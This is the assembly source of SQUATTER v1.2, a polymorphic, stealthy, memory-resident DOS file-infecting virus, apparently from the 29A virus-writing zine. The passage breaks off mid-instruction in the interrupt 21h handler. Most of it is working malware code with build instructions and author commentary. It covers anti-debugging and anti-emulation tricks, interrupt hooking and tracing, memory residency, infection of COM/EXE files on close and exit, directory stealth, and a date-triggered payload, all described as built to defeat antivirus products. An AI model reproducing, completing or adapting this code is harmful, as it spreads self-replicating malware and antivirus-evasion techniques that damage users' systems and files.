Copy Link
Add to Bookmark
Report
29A Issue 03 05 13
;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ
;;;ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ
;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ
;;; ³³³³³³³³³³³³³³³³³³³³ÆÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏϵ³³³³³³³³³³³³³³³³³³³³³³³³
;;; ³³³³³³³³³³³³³³³³³³³³³ S Q U A T T E R v 1 . 2 ³³³³³³³³³³³³³³³³³³³³³³³³³
;;; ³³³³³³³³³³³³³³³³³³³³³ c o d e d b y ³³³³³³³³³³³³³³³³³³³³³³³³³
;;; ³³³³³³³³³³³³³³³³³³³³³-= The Mental Driller/29A =-³³³³³³³³³³³³³³³³³³³³³³³³³
;;; ³³³³³³³³³³³³³³³³³³³³ÆÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑÑѵ³³³³³³³³³³³³³³³³³³³³³³³³
;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ
;;;ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ
;;; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝÞÝ
;;;
;;;; ENHANCED SQUATTER v1.1
;;;; BUGS FIXED, ANTI-EMULATING TRICKS INMPLEMENTED, POLYMORPHISM IMPROVED
;;; Since I'm spanish, my english could suck anytime, so be benevolent with
;; me :) . All labels in the virus are in spanish, and some labels hasn't a
;; normal name, because are "transition" labels. Only the important labels
;; have a name like "@@DesinfectaHandle" ("@@DisinfectHandle" in english),
;; for example.
;;; This virus started like SQUATTER v1.0. AVP, DSAV, and all that avs can
;; detect it now. Then I modified the source a little bit, without modifying
;; the polymorphism engine, and I looked that DSAV (Dr. Solomon's Anti-Virus)
;; could detect it like "...could be a new virus!". Damn! This av has a really
;; good emulation technique.
;; Then, I said: "Virus always go a step over anti-virus. I MUST do a virus
;; that forces anti-virus to be reprogrammed". That's it! After coding and re-
;; coding certain parts of the virus and the polymorphism engine I reached
;; what I wanted. There are forms of the virus that they aren't recognized
;; like executable code by the antivirus :) , but you can "safelly" run them
;; ("safelly" with quotes because it's a virus, you know :) .
;;; All accesses to memory and offsets contains a subtract like
;;; MOV [AntInt21h-200h], BX
;;; This "-200h" is because I used an emulation of an infected COM program to
;;; run the virus, and all addresses are related to 200h, which is the initial
;;; delta-offset. So I must subtract this quantity every time. I know it
;;; sucks, but I was too lazy to change it &)
;;; It has anti-heuristics, so, when I call to int 21h, I subtract 10h from
;;; the function number, and this quantity is added on "Int21h" routine (this
;;; routine calls real int 21h). For example, when I use "MOV AX,2D02/CALL
;;; Int21h" I'm calling to function 3D02h of the int 21h.
;;; Well, let's go with explanations about this virus and what it does:
;** FEATURES **
;;; Now the created decryptor can't be debugged and/or emulated properly if
;; it isn't runned normally. Of course, since the virus is polymorphic, there
;; are situations when the decryptor could be traced with a debugger/emulator.
;; Moreover, there are four different algorithms to decrypt (normal loop, loop
;; of loops, etc.) and coprocessor garbage instructions, indexed memory
;; writes, etc.
;;; SQUATTER v1.0 had bugs on installation that made that virus a bit unstable
;; in some systems. Now these bugs are fixed, and a new residency routine has
;; been stablished. Now it handles correctly UMBs and MCBs (since non-publi-
;; shed version 1.1).
;;; The virus catch 26 functions of the int 21h. 18 are used for the stealth
;; (they were 19, but handling function 40h the virus doesn't work properly,
;; so it has been disabled), 6 for infecting and 2 miscellaneous (function 1Ah
;; to go faster on DIR stealth and function 30h like install check).
;;; FCB dis/infection is now implemented. I realized that DOS uses FCB to de-
;; lete files. If you delete any infected file and you recover it with "UNDE-
;; LETE" or similars, the non-stealthed size of the archive is shown. Then I
;; had to code a routine for disinfecting FCB on deleting files. Since disin-
;; fection on deletion is the same than disinfection on opening, I supported
;; FCB disinfection on opening too. In the same way, infection on FCB closing
;; is supported.
;; During the installation the virus does:
;; * It checks the DOS version. If the virus isn't resident, it would be exe-
;; cuted normally. If it is resident, when it returns from the interruption
;; all the residency process will be avoided, returning directly to the label
;; "@@FinInstalacion". Before doing it, the virus in memory will check all
;; the code that follows to the return pointer, and if it is the virus, the
;; quantity of bytes necessary to go to the end of the installation will be
;; added to the return pointer. It is made to avoid certain lamer antivirus
;; which checks memory for virus calling the install-check functions.
;; * It searchs the last UMB in memory (which normally is the DOS UMB of free
;; upper memory) and subtract the quantity of memory the virus needs (if it
;; is big enough, of course). If the UMB isn't big enough or the system can't
;; hold UMBs for any reason, the virus will install via MCBs.
;; * The int 21h will be traced with the int 30h trick. If it fails, int 21h
;; will be traced with single-step tracing.
;; * It will patch the pointers in memory to the real int 21h, to avoid wri-
;; ting on the TVI and/or avoid patching the first 5 bytes with a
;; JMP XXXX:XXXX, because the dis/infection system of the virus can't hold
;; that method.
;; * It recovers the original values of execution in the registers when it
;; executes the host (a little work to improve the stealth).
;; Using int 21h, the virus is practically invisible to the system. Moreover,
;; it's a fast-infector.
;; Infection functions:
;; * 3Eh - Close handle
;; * 10h - Close FCB
;; * 4Ch, 00h - Terminate execution (int 20h calls to AH=00/INT 21h inter-
;; nally).
;; * 31h - TSR
;; * 43h - Get/set attributes.
;; Stealth functions:
;; * 11h, 12h - Search for directory entries (FCB)
;; * 4Eh, 4Fh - Search for directory entries (Handle)
;; * 23h - Get file size (FCB)
;; * 3Dh, 6Ch - Open file (Handle)
;; * 0Fh - Open file (FCB)
;; * 3Fh - Read from handle
;; * 40h - Write on handle (set off by problems)
;; * 41h - Delete file (Handle)
;; * 13h - Delete file (FCB)
;; * 42h - Handle pointer seek
;; * 4Bh - Program execution
;; * 57h - Get/set time and date from/to a handle
;; * 25h - Set interrupt vector
;; * 35h - Get interrupt vector
;; * 44h - IOCTL functions
;; Internal functions:
;; * 30h - Install-check (anti-lamers)
;; * 1Ah - Set new DTA address
;;; POLYMORPHISM
;; I've tried to do an "as-powerful-as-I-can" engine, but you know, our sons
;; and daughters are always the most handsome, the most clever... :) . So, I
;; can't be objective at all when I say that the engine is one of the good
;; ones (I think). The created decryptor contains CALLs, un/conditional JMPs
;; with non-zero displacement, conditional JMPs to invalid code, anti-emula-
;; ting and anti-debugging code, indexed memory writes and LOTS of weird
;; 8/16/32 bit garbage, including coprocessor ones with memory read/write
;; instructions. The virus is also non-static sized(!), but the stealth works
;; fine :) . It would be sufficient with only a decryptor, but I wanted to
;; fuck avers, so I put 2! :) and later I added a semi-polymorphic decryptor
;; (just a little 22 bytes maxsized). However, I did the sufficient stuff to
;; make AVers to recode their emulation programs if they want to detect this
;; virus properly.
;;; This virus is my first and my last one in DOS that I release like this
;;; one. Next ones will be Win32, but first I wanted to finish it because
;;; I had on mind sine I begin with the viruses to do a virus like the
;;; Squatter and a engine like the MeDriPolEn. But remember: it's the last
;;; one DOS-exclusive virus that I make.
;;; Well, I think it's all. If you look at the code, you will see many things
;; that I hadn't say here, but they are interesting.
;;;; THANKS TO:
;;; 29A : I thought before join them that 29A was one of the best groups in
;;; the scene actually, and now I think is one of the best along the
;;; viruscene history! :)
;;; VLAD : For the great idea of using the system handles to manage the opera-
;;; tions of dis/infection (look the "FakeHandle" routine to know what
;;; I'm saying). Of course, they keep on being a legend!
;;; PS: I don't know if you'll read this, but this group was the one that in-
;;; troduced me in the viruscene, specialy Dark Angel. Greetz!.
;;;
;;; All that groups that intend to revitalize the scene with new ideas and
;;; don't get stalled with the new technologies, demostrating their talent.
;;;
;;; And greets to all those individuals (being in groups or not) in the IRC
;;; #virus channel where we joke and talk, and that other ones that I know
;;; personally. U know who u r! :)
;;;
;;; Well, eeemh... oh, YES! Thanks to you, for reading this.
;;; To assemble this:
;; TASM /m29A /mu squatter.asm
;; TLINK /x /t squatter.obj
;;; Now, enjoy :)
;; The Mental Driller
;; ®The limit of virus making exists only
;; in the mind of antivirus makers¯
.MODEL TINY ; Not tiny at all! :) (the virus' size is more than 9 Kb!)
LOCALS @@
.386 ; Sorry 286ers :)
.CODE ; Let's start!
;;; EQUATES
;; "Longvirus" is the clean virus size.
;; "LongVirusP" is the amount of memory that the virus needs.
;; "LongVirus2" is the static size of the virus (without random increasement)
;; "LongCheck" is the amount of bytes that the install-check routine must
;; avoid when returns, to jump directly to the end of the installation
;; process.
;; "Palabro" is to save bytes, to put one 32 bits instruction instead of two
;; 16 bits instructions.
;; "DededeMerde" is to put a value inside a LEA Reg,[Reg-(NewVirus-200h)],
;; because TASM doesn't allow that (WHY???)
LongVirus EQU Offset FinVirus - Offset InicioVirus + 2
LongVirusP EQU ((LongVirus / 16) + 2) * 2 + 50h + 1
LongVirus2 EQU LongVirus + 500
LongCheck EQU Offset FinChequeo - Offset InicioChequeo
Palabro EQU (LongVirusP*10000h)+0008h
DededeMerde EQU - (offset NewVirus - 200h)
ORG 100h ; A COM file will be created.
Squatter PROC
JMP @@Inicio ; This code emulates an infected file
INT 21h
DB 0FBh DUP (0)
InicioVirus LABEL WORD
DB 16h DUP (90h) ; Space where the little "semipoly" de-
; cryptor is.
@@Inicio: MOV SI, 200h ; Delta-offset in SI
XOR BX, BX ; Let's go with some anti-emulation /
db 26h ; anti-debugger
MOV AX, [BX]
XOR AX, 20CDh
JZ @@S_I_0
@@Fuera: MOV AH, 4Ch
INT 21h
@@S_I_0: XOR DX, DX
IN AL, DX
PUSHF
POP AX
TEST AH, 1
JNZ @@Fuera
PUSH SI
MOV BP, SP
POP SI
CMP [BP], SI
Truco1 LABEL WORD ; Anti-debugger. If this jmp is
JNZ @@CopiaVirus ; patched, the next code doesn't work
; Reset coprocessor (random copro ins-
; tructions used during decryption)
WAIT
db 0DBh, 0E3h ; instruction: "fninit"
JMP Truco_Salto ; This fuck heuristics. It jumps to
; the end of the virus, sets AH=30h
; and jump again to here.
Retorno_Truco: SEGCS ; Execute int 21h anyway
INT 21h
InicioChequeo LABEL WORD
CMP AL, 05h ; DOS < 5.0 ?
Truco2 LABEL WORD
DB 0CDh, 03 ; Anti-debugging (weird!) :)
JB @@FinInstalacion ; If < 5.0, ends
;; OK, this is the UMB installation routine. It uses the technic of MCBs, but
;; applied to UMBs. To do that, you must know that the last UMB always belong
;; to DOS, and this UMB is the free upper memory, so, if you steal some memory
;; from this UMB, you don't overwrite any resident program.
XOR DI, DI ; DI = 0
MOV AH, 52h ; Get list of lists
SEGCS
INT 21h
LDS BX, ES:[BX+12h] ; Get buffers area address
MOV AX, DS:[BX+1Fh] ; Segment of the first UMB in AX
CMP AX, 0FFFFh ; Are there UMBs?
JZ @@PorMCBs1 ; If not, use traditional methods
@@SiguienteUMB: MOV DS, AX ; DS = segment of the first UMB
CMP BYTE PTR [DI], 'Z' ; Is it the last UMB?
JZ @@PruebaInst ; If it is, end searching
MOV BX, [DI+03] ; BX = Size of this UMB
INC AX ; Add MCB size
ADD AX, BX ; Get in AX the segment of the next UMB
JMP @@SiguienteUMB ; Repeat
@@PruebaInst: CMP WORD PTR [DI+03], LongVirusP ; Is the UMB large
; enough?
JBE @@PorMCBs1 ; If not, go to the traditional method
ADD AX, [DI+03] ; Get last segment occupied by the UMB
SUB AX, LongVirusP ; Subtract virus size
MOV ES, AX ; Put this segment in ES
SUB WORD PTR [DI+03], LongVirusP ; Subtract virus size to
; UMB's MCB
JMP @@CopiaVirus ; Jump to copy routine
;; This is the "traditional" method of MCBs. It's used when the routine above
;; fails
@@PorMCBs1: DB 0CDh, 03h ; Anti-debugging
POP DS ; Recover DS
PUSH DS
MOV AX, DS ; Get segment of MCB in ES
DEC AX
MOV ES, AX
CMP BYTE PTR ES:[0000], 'Z' ; Last UMB?
JNZ @@FinInstalacion ; If not, end instalation
DB 0CDh, 03h ; Anti-debugger :)
MOV AX, WORD PTR CS:[SI+Offset @@PorMCBs1-200h] ; More an-
XCHG AH, AL ; ti-debugger!
XOR AH, AH ; The same
MOV DI, AX ; At the end, DI = 0003 ...
MOV BL, BYTE PTR CS:[SI+Truco1-200h] ; ... and BX = 000F
XOR BH, BH
SUB WORD PTR ES:[DI], LongVirusP + 1 ; Steal memory
SUB WORD PTR ES:[DI+BX], LongVirusP + 1
MOV BYTE PTR ES:[0000], 'M'
MOV ES, ES:[DI+BX] ; Get segment of the hole
MOV BYTE PTR ES:[DI-03], 'Z' ; Create an UMB
MOV DWORD PTR ES:[DI-02], Palabro
; MOV WORD PTR ES:[DI-02], 0008h
; MOV WORD PTR ES:[DI], LongVirusP
MOV DWORD PTR ES:[DI+5], 00004353h
MOV AX, ES ; Get segment where the virus will be
INC AX ; allocated
MOV ES, AX
@@CopiaVirus: PUSH CS ; DS=CS
POP DS
XOR DI, DI ; DI=0
PUSH SI ; Save SI
MOV CX, LongVirus ; CX=Size of clean virus
CLD ; Fowards
CALL RepMovsb ; Copy virus
POP SI ; Recover SI
PUSH ES ; DS=reserved segment
POP DS
MOV AX, 3521h ; Get int 21h interrupt vector
SEGCS
INT 21h
MOV [AntInt21h-200h], BX ; Save it here
Truco3: MOV [AntInt21h-200h+2], ES
PUSH CS ; Put CS onto stack
LEA AX, [SI+Offset VuelvedeMem-200h] ; AX=Return address
PUSH AX ; Put it onto stack
PUSH DS ; Jump to the copy of the virus in
PUSH Offset SaltoaMem-200h ; memory...
DB 0CDh, 03h ; Anti-debugging
RETF ; ...then jump...
SaltoaMem LABEL WORD ; ...here!
MOV BYTE PTR CS:[InstalacionPoli-200h], 0 ; Set this to 0
; to indicate that random seed
; must be actualized
MOV AH, 2Fh ; Get DTA address
SEGCS
INT 21h
MOV [DirecDTA-200h], BX ; Save it here
MOV [DirecDTA-200h+2], ES
MOV AX, 1600h ; Check for Windows
SEGCS
INT 2Fh
OR AL, AL ; If Windows is active, jump
JNZ @@WindowsActivo
CALL TrazaPorINT30h ; Now, let's go trace int 21h
JNC @@Sigue001 ; If int 21h could be traced, jump
;; Single-step tracing
MOV AX, 3501h ; Get int 01 vector
SEGCS
INT 21h
MOV WORD PTR [Ptr01-200h], BX ; Save it
MOV WORD PTR [Ptr01-200h+2], ES
MOV EAX, DWORD PTR [AntInt21h-200h] ; Get int 21h address
MOV DWORD PTR [Puntero3-200h], EAX ; Put it on "Puntero3"
XOR AX, AX ; ES = 0
MOV ES, AX
CLI ; Set int 1 to "NewInt01h"
MOV WORD PTR ES:[0004], Offset NewInt01h - 200h
MOV WORD PTR ES:[0006], CS
STI
PUSHF ; Active Trap-Flag
POP AX
OR AH, 01h
PUSH AX
POPF
MOV AH, 30h ; Call DOS function (do-nothing)
PUSHF
CALL DWORD PTR [AntInt21h-200h]
PUSHF ; Set off Trap-Flag
POP AX
AND AH, 0FEh
PUSH AX
POPF
MOV AX, WORD PTR [Ptr01-200h] ; Recover true int 1
MOV BX, WORD PTR [Ptr01-200h+2]
CLI
MOV WORD PTR ES:[0004], AX
MOV WORD PTR ES:[0006], BX
STI
@@Sigue001:
PUSH CS ; Put in ES:DI the address of our int 21h
POP ES
MOV DI, Offset NewInt21h - 200h
LDS BX, DWORD PTR CS:[Puntero3-200h] ; Load in DS:BX the
; traced address
CLI ; Set new int 21h, changing values in
MOV [BX], DI ; traced interrupt and not in TVI or
MOV [BX+02], ES ; patching bytes with a JMP
STI
; Construct a 32 bit int 24h jump in "BytesInt24h"
@@SigueInstal: MOV BYTE PTR CS:[BytesInt24h-200h], 0EAh
MOV WORD PTR CS:[BytesInt24h-200h+1], \
Offset ProgramaInt24h-200h
MOV WORD PTR CS:[BytesInt24h-200h+3], CS
; Put 2 IRETs in this direction
MOV WORD PTR CS:[ByteInt1Bh-200h], 0CFCFh
MOV BYTE PTR CS:[ByteInt2Ah-200h], 0CFh
MOV AH, 1Ah ; Get date
CALL Int21h
PUSH CS ; CS = DS
POP DS
CMP DX, 0518h ; Is 24/05? (random date :) )
JZ PayLoad ; If it is, jump to the payload
MOV BYTE PTR [Desinfeccion-200h], 2 ; Put a 2 here
MOV AH, 4Ch
CALL NewInt21h
RETF ; Return to the virus in the host
@@WindowsActivo:
XOR AX, AX ; Change TVI directly with windows
MOV ES, AX
MOV WORD PTR ES:[0084h], Offset NewInt21h - 200h
MOV WORD PTR ES:[0086h], DS
JMP @@SigueInstal
VuelvedeMem LABEL WORD
FinChequeo LABEL WORD ; When the virus is in memory and install-check
; routine is used, it returns here directly
@@FinInstalacion:
POP ES ; Recovers ES and DS from stack
POP DS
CMP BYTE PTR CS:[SI+TipoEjec-200h], 01 ; Is EXE?
JZ @@EsunEXE ; Then jump to EXE reinitialization
;;; Host is a COM
@@EsunCOM: PUSH CS ; Put CS onto stack
MOV DI, 0100h ; DI = 100h
PUSH DI ; Put 100h onto stack
ADD SI, Offset Los3bytes-200h ; SI=Address of the three
; saved bytes
CLD ; Fowards
MOVSW ; Recover this 3 overwritten bytes
MOVSB
MOV SI, 100h ; Put original value of SI in a COM
;;; Now it recovers initial register values of execution
@@Salll: MOV DI, SP ; DI=initial SP
ADD DI, 0004
XOR AX, AX ; AX=BX=0
XOR BX, BX
MOV CX, 00FFh ; CX=00FF
MOV DX, ES ; DX=Segment of PSP
MOV BP, 091Ch ; BP=091C
RETF ; Executes host
;;; Host is an EXE
@@EsunEXE: MOV AX, ES ; AX=Initial segment of the EXE in memory
ADD AX, 0010h
ADD WORD PTR CS:[SI+InicSS-200h], AX ; Calculate original
ADD WORD PTR CS:[SI+InicCS-200h], AX ; CS and SS
CLI ; Set specified-in-header
MOV SS, CS:[SI+InicSS-200h] ; SS:SP
MOV SP, CS:[SI+InicSP-200h]
STI
PUSH WORD PTR CS:[SI+InicCS-200h] ; Put CS onto stack
MOV SI, CS:[SI+InicIP-200h] ; SI=Initial offset
PUSH SI ; Put SI onto stack
JMP @@Salll ; Recover all registers and execute
; host
Squatter ENDP ; End of installation routine
;;; Little DATA section
Los3bytes DB 0B8h, 00, 4Ch ; First three bytes in a COM
SaltoCOM DB 0E9h, 00, 00 ; It is used when constructing the ini-
; tial JMP in a COM
InicIP DW 0 ; Data to execute EXE hosts
InicCS DW 0
InicSS DW 0
InicSP DW 0
;; Procedure to copy (it emulates a REP MOVSB)
RepMovsb PROC
PUSH AX ; Save AX
@@Loop01: MOV AL, DS:[SI] ; Get byte from DS:SI
MOV ES:[DI], AL ; Copy byte to ES:DI
DB 0CDh, 03h ; Anti-debugger
INC SI ; Increase pointers
INC DI
LOOP @@Loop01 ; Repeat CX times
POP AX ; Recover AX
RET ; Return
RepMovsb ENDP
;; Used for memory writes for the polymorphic engine
Basura4 dw 0
;; Procedure to trace int 21h via int 30h trick
TrazaporINT30h PROC
XOR AX, AX ; Get address of 32 bit jump in int 30h in
MOV ES, AX ; ES:BX
MOV BX, ES:[00C1h]
MOV ES, ES:[00C3h]
CMP WORD PTR ES:[BX], 9090h ; Check if the first two by-
JNZ @@SalconCARRY ; tes are a double NOP. If not, exit
CMP BYTE PTR ES:[BX+2], 0E8h ;Check if a CALL follows them
JNZ @@SalconCARRY ; If not, exit
SUB BX, 0032h ; Subtract 32h to get int 21h entrypoint
CMP WORD PTR ES:[BX], 9090h ; Check if there are two NOPs
JNZ @@SalconCARRY ; If not, exit
CMP BYTE PTR ES:[BX+2], 0E8h ; Does CALL instruction fo-
; llow them?
JNZ @@SalconCARRY ; If not, exit
CMP WORD PTR ES:[BX+6], 2EFFh ; Is there a CS:JMP FAR...?
JNZ @@SalconCARRY ; If not, exit
MOV BX, ES:[BX+08h] ; Get address where pointer
; to int 21h is stored
MOV WORD PTR CS:[Puntero3-200h], BX ; Store it in Puntero3
MOV WORD PTR CS:[Puntero3-200h+2], ES
LES BX, ES:[BX] ; Load pointer to int 21h
MOV WORD PTR CS:[AntInt21h-200h], BX ; Store it onto
MOV WORD PTR CS:[AntInt21h-200h+2], ES ; "AntInt21h"
CLC ; Clear Carry Flag and exit
RET
@@SalconCARRY: STC ; Set Carry Flag and exit
RET
TrazaporINT30h ENDP
;; More words to memory writing on poly engine
Basura3 dw 0
;;;;;;; New interruption 01h (to trace interrupts)
NewInt01h PROC
PUSH DX ; Save going-to-be-used registers
PUSH AX
PUSH SI
PUSH DS
PUSH CX
PUSH BP
XOR DL, DL ; DL=0 (exit with IRET, not RETF)
MOV BP, SP
MOV AX, [BP+0Eh] ; Get current segment
MOV CX, CS ; Check if it is the virus
CMP AX, CX
JZ @@Fin1 ; If it is, return from interrupt
MOV DS, AX ; Put segment in DS
MOV SI, [BP+0Ch] ; Get IP on SI
CLD ; Load a byte
LODSB
PUSH SI ; Save SI
CMP AL, 9Ch ; Check if next instruction is PUSHF
JNZ @@Siguiendo1 ; If not, jump
INC WORD PTR [BP+0Ch] ; Avoid PUSHF
MOV DL, 01 ; Set return with RETF
JMP @@Acaba
@@Siguiendo1: CMP AL, 9Dh ; Check if next instruction is POPF
JNZ @@Siguiendo2 ; If not, jump
OR WORD PTR [BP+12h], 0100h ;Set Trap-Flag in stack value
JMP @@Acaba ; Jump
@@Siguiendo2: CMP AL, 0CFh ; Check if next instruction is IRET
JNZ @@Siguiendo3 ; If not, jump
OR WORD PTR [BP+16h], 0100h ;Set Trap-Flag in stack value
JMP @@Acaba ; Jump
@@Siguiendo3: CMP AL, 2Eh ; Check if next instruction is CS:
JNZ @@Siguiendo4 ; If not, jump
LODSW ; Load next two bytes in AX
JMP @@Siguiendo5
@@Siguiendo4: XCHG AH, AL ; Load next byte in AH
LODSB
XCHG AH, AL
@@Siguiendo5: CMP AX, 2EFFh ; Check if a JMP FAR follows
JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR
CMP AX, 1EFFh ; Check if a CALL FAR follows
JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR
CMP AL, 0EAh ; Check if a JMP ????:???? follows
JZ @@EsJMP32 ; If it is, jump to @@EsJMP32
CMP AL, 09Ah ; Check if a CALL ????:???? follows
JNZ @@Acaba ; If it isn't, end
@@EsJMP32: DEC SI ; Decrement SI to get address of JMP/CALL
MOV CS:[Puntero2-200h], SI ; Save address on Puntero2
MOV CS:[Puntero2+2-200h], DS
JMP @@Acaba ; Jump
@@EsJMPFAR: LODSW ; Get memory index
MOV CS:[Puntero2-200h], AX ; Save address on Puntero2
MOV CS:[Puntero2+2-200h], DS
@@Acaba: POP SI ; Recover SI
MOV AX, DS ; Put current segment in AX
CMP WORD PTR CS:[AntInt21h+2-200h], 0F000h ; Check if BIOS
; or DMA
JAE @@Fin1 ; If it's BIOS or DMA, we've got it
CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare this seg-
; ment with stored one
JZ @@Fin1 ; If it is the same, end
CMP AX, 0F000h ; Is segment allow or equal to BIOS seg.?
JAE @@Salto ; If it is, jump
CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare segment
; with stored one
JA @@Fin1 ; If it's greater, end
@@Salto: DEC SI ; Decrement SI to get current CS:IP in
; AX:SI
PUSH AX ; Save AX
MOV AX, CS:[Puntero2-200h] ;Save in Puntero3 the address
MOV CS:[Puntero3-200h], AX ; on Puntero2
MOV AX, CS:[Puntero2+2-200h]
MOV CS:[Puntero3+2-200h], AX
POP AX ; Recover AX
MOV WORD PTR CS:[AntInt21h-200h], SI ; Save new int 21h
MOV WORD PTR CS:[AntInt21h+2-200h], AX ; address
@@Fin1: POP BP ; Recover registers
POP CX
POP DS
POP SI
POP AX
CMP DL, 01 ; IRET or RETF?
JZ @@Fin2 ; Let's go with RETF
POP DX
IRET
@@Fin2: POP DX
RETF
NewInt01h ENDP
;; More memory write zones
Basura1 dw 0
;;;;;;;;; PAYLOAD AND IDENTIFICATION OF THE VIRUS
Mensaje DB 0, "Squattering your system has become by hobbie :)", 0Dh, 0Ah
Mensaje2 DB 0, '-SQUATTER v1.2- Coded by The Mental Driller/29A', 0
;; Memory write zone
Basura2 dw 0
;;; AMAZING PAYLOAD!
;;; It puts on screen "Squattering your system has become my hobbie :)" and
;;; plays with the second chain displaying a colorful weird composition on
;;; screen :).
;;; It rocks, due to the thing it does and the size it has.
Payload PROC
MOV AX, 0003 ; Blank screen
INT 10h
PUSH CS ; DS equal to CS
POP DS
MOV AX, 0B800h ; ES=Text mode video segment
MOV ES, AX
@@Premio: MOV AH, 15h ; Color value
MOV CX, 0047d ; Put first chain
MOV SI, Offset Mensaje - 200h
MOV DI, 0006
@@Loop1: LODSB
STOSW
LOOP @@Loop1
;; Trippy starts! XD
@@Premio2: PUSH ES ; Save ES
XOR AX, AX ; ES=0
MOV ES, AX
MOV AX, ES:[046Ch] ; Get timer value
ROL AX, 3 ; Multiply it by 8
XOR AX, ES:[046Ah] ; XOR it with first timer value
IN AL, 40h ; Get another timer value in AL
POP ES ; Recover ES
; All this code is to get a value that
; changes slightly every time, and af-
; ter a few seconds performs a "jump"
; of bigger value
AND AX, 0FFEh ; Set off 4 top bits and the lowest bit
MOV DI, AX ; Put this value on DI
MOV CX, 0048d ; Copy the second chain on ES:DI, with
MOV SI, Offset Mensaje2 - 200h ; color AL
@@Loop2: LODSB
STOSW
LOOP @@Loop2
JMP @@Premio ; Repeat all over and over again
Payload ENDP
Basura5 dw 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; NEW INTERRUPTION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; It handles lots of functions. The virus will infect archives if you use FCB
;; functions, too. Well, I wanted to do it extremely infectious :)
NewInt21h PROC
PUSH BP ; To avoid tracing (it can be patched, so
PUSH AX ; it's only basic protection instructions)
MOV BP, SP
POP AX
CMP AX, [BP]
POP BP
JZ @@Continua001
PUSH BP ; Fuck tracer :)
RETF
@@Continua001: CMP AH, 30h ; Install check?
JNZ @@SigueInt ; If not, continue
@@InstallCheck: PUSHA ; Save all registers
PUSH DS
PUSH ES
MOV BP, SP ; Get on ES:DI the address of return to
LES DI, DWORD PTR SS:[BP+14h] ; the calling program
PUSH CS ; Get on DS:SI the same position it would
POP DS ; be if the calling program is the virus
MOV SI, Offset InicioChequeo-200h
MOV CX, LongCheck
CLD ; Check virus and program
REPZ CMPSB
JCXZ @@CheckOK ; If CX reached 0 value, the calling pro-
; gram is the virus
POP ES ; If not, execute real int 21h
POP DS
POPA
JMP @@FinInt21h
@@CheckOK: ADD WORD PTR [BP+14h], LongCheck ; Add displacement to re-
POP ES ; turn value and return
POP DS
POPA
IRET
@@SigueInt: CMP AH, 4Ch ; Terminate program?
JZ @@Infecta ; If it is, infect it!
OR AH, AH ; Terminate program?
JZ @@Infecta ; If it is, infect it!
CMP AH, 31h ; Terminate program?
JZ @@Infecta ; If it is, infect it! :)
CMP AH, 44h ; IOCTL Handle functions?
JZ @@FuncionesIOCTL ; If it is, stealth it!
CMP AH, 1Ah ; Set new DTA?
JZ @@NuevoDTA ; If it is, jump
CMP AH, 3Eh ; Close handle?
JZ @@InfectaHandle ; If it is, infect handle!
CMP AH, 10h ; Close FCB?
JZ @@InfectaFCB ; If it is, infect FCB!
CMP AH, 43h ; Get/set attributes?
JZ @@InfectaAtributos ; If it is, infect file!
CMP AH, 25h ; Set interrupt vector?
JZ @@FijarVector ; If it is, jump
CMP AH, 35h ; Get interrupt vector?
JZ @@ObtenerVector ; If it is, jump
CMP AX, 5701h ; Get date/time from a handle?
JZ @@HoraFechaHandle ; If it is, jump
CMP AH, 41h ; Delete file via handle?
JZ @@DesinfectaHandle ; Disinfect file, then
CMP AH, 13h ; Delete file via FCB?
JZ @@DesinfectaFCB ; Disinfect file, then
CMP BYTE PTR CS:[NoStealth-200h], 1 ; Avoid stealth?
JZ @@FinInt21h ; If yes, jump and end
CMP AH, 10h ; Get first/next directory entry (FCB)?
JBE @@Salto0001
CMP AH, 13h
JB @@StealthDIR ; If it is, stealth it!
@@Salto0001: CMP AH, 4Dh ; Get first/next directory entry (handle)?
JBE @@Salto0002
CMP AH, 50h
